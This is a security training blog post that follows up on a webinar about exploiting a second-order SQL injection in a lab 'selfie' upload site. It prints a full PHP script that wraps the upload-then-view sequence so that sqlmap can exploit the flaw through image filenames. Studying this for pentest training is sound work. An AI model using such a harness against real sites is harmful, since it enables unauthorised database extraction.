eLearnSecurity Blog

Second Order SQLi – Solutions

Master of Puppets

Hello  fellow pentesters,
thanks to everyone who joined the live webinar. As tour manager would say: “the house was packed”!

If you did not make it, you can download the recording of the entire session here.

The Scenario

The web application tested is a social network where users can upload their “selfies”. There is a view counter for every image uploaded.

You can only upload images, as there is a server-side check on the uploaded file content.

The Web Application

During the webinar, we discovered a second order SQL injection vulnerability: an attacker can use the name of the image to upload as a SQLi payload and get the results back via the detailed view function.

injection

SQLmap and other tools have very limited capabilities when you have to exploit second order SQLi’s, so I wrote a script who:

  • Gets the payload via an HTTP GET request
  • Generates a POST request with an image file, thus sending our payload
  • Generates a GET request to the view function, reflecting it back to the client

The script takes charge of actually performing the second order SQLi, tricking the client (sqlmap in our case) into thinking it is performing a standard SQL injection.

Overview of the attack

Here is the code:

<?php
###################################################
#                                                 #
#    Second Order SQLi Webinar - Configuration    #
#                                                 #
###################################################
// 1px PNG "Selfie"
$img = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEX///+nxBvIAAAACXBIWXMA
AAsTAAALEwEAmpwYAAAAB3RJTUUH3gkaCCkAnAHMJgAAABl0RVh0Q29tbWVudABDcmVhdGVkIHdp
dGggR0lNUFeBDhcAAAAKSURBVAjXY2AAAAACAAHiIbwzAAAAAElFTkSuQmCC';

// File name AKA our SQLi payload
$payload = $_GET['payload'];

// Page to upload (POST) $img
$injectionURL = 'http://selfie4you.site/upload.php';

// Page with the results of the SQLi (GET)
$resultsURL = "http://selfie4you.site/view.php?file=".urlencode($payload);

################################################################################
#                                                                              #
#   We have to build a custom HTTP post request with our payload as filename   #
#               (Form-based File Upload in HTML - RFC1867)                     #
#                                                                              #
################################################################################

// Boundary for the multipart POST
$boundary = "---------------------" . md5(mt_rand() . microtime());

// POST body
$body = Array();

// The POST data and body, our $img
$data = base64_decode($img);
$imgpost = Array (
    "--{$boundary}",
    "Content-Disposition: form-data; name=\"file\"; filename=\"$payload\"",
    "Content-Type: image/png",
    "",
    $data
);
$body[] = implode("\r\n", $imgpost);
$body[] = "--{$boundary}--";
$body[] = "";

$postbody = implode("\r\n", $body);

// POST HEADERS
$headers = array(
        "Expect: 100-continue",
        "Content-Type: multipart/form-data; boundary={$boundary}", // change Content-Type
    );

#######################################
#                                     #
#    Let us POST it using PHP CURL    #
#                                     #
#######################################
// CURL Handler
$ch = curl_init();
// CURL options
// Set CURL to POST
curl_setopt($ch, CURLOPT_POST, true);
// CURL POST URL
curl_setopt($ch, CURLOPT_URL, $injectionURL);
// We do not want to reflect the output of the POST to sqlmap
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// Headers
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Body
curl_setopt($ch, CURLOPT_POSTFIELDS, $postbody);

// Do the actual POST
$result = curl_exec($ch);
curl_close($ch);

######################################################################
#                                                                    #
#    And now let us reflect the result of the injection to sqlmap    #
#                                                                    #
######################################################################
$injectionresponse = file_get_contents($resultsURL);
echo $injectionresponse;
?>

You can download the source here.

In the video, you can see how the script works and watch it in action with sqlmap.

Questions? Comments? Anything? Please leave a comment!

See you on the next webinar!

Tags: , , , ,

2 Comments

  • ALaa says:

    Hello Gira
    A Great Session and full of new stuff ,, keep up that great work
    but could you please send me or share the source code of the
    vulnerable page it would help alot if you share it and made us
    try it our selves

    thnx alot
    cheers

  • GiRa says:

    Hi,
    unfortunately the scenario has more than I showed in the webinar.
    So you need heralab to run it.

Leave a Reply

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Go to top of page